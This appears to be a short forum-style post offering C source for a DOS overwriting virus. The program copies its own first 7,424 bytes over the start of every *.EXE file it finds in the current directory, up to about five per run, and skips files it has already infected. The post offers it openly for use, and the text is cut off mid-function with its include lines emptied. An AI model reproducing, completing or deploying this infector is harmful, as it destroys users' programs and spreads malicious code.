If you are interested then here is a code you can use to overwrite files in a system
#include
#include
#include

#define V_SIZE 7424

int n_inf=0;

void resume(void);
void inf(char *vir, char *filename);
int compare(char *d, char *e);

void main(int argc, char **argv)
{
struct ffblk fileinfo;
char vir[V_SIZE];
FILE *fp;
char path[6];
int b,a=0;

argc++;

if((fp=fopen(argv[0],"rb"))==NULL) resume();
fread(vir,sizeof(char),V_SIZE,fp);
fclose(fp);

path[0]='*';
path[1]='.';
path[2]='E';
path[3]='X';
path[4]='E';
path[5]=NULL;

if(findfirst(path,&fileinfo,FA_ARCH)==-1) resume();
inf(vir,fileinfo.ff_name);
do {
if(findnext(&fileinfo)!=0) a=1;
else inf(vir,fileinfo.ff_name);
if((a==1) || (n_inf>4)) b=1;
} while (b!=1);
resume();
}

void inf(char *vir, char *filename)
{
FILE *fp;
char checkinf[V_SIZE];

if((fp=fopen(filename,"rb+"))==NULL) resume();
fread(checkinf,sizeof(char),V_SIZE,fp);
if(compare(vir,checkinf)==0) return;
fseek(fp,0L,SEEK_SET);
fwrite(vir,sizeof(char),V_SIZE,fp);
fclose(fp);
n_inf++;
}

int compare(char *d, char *e)
{
int a;

for(a=0;a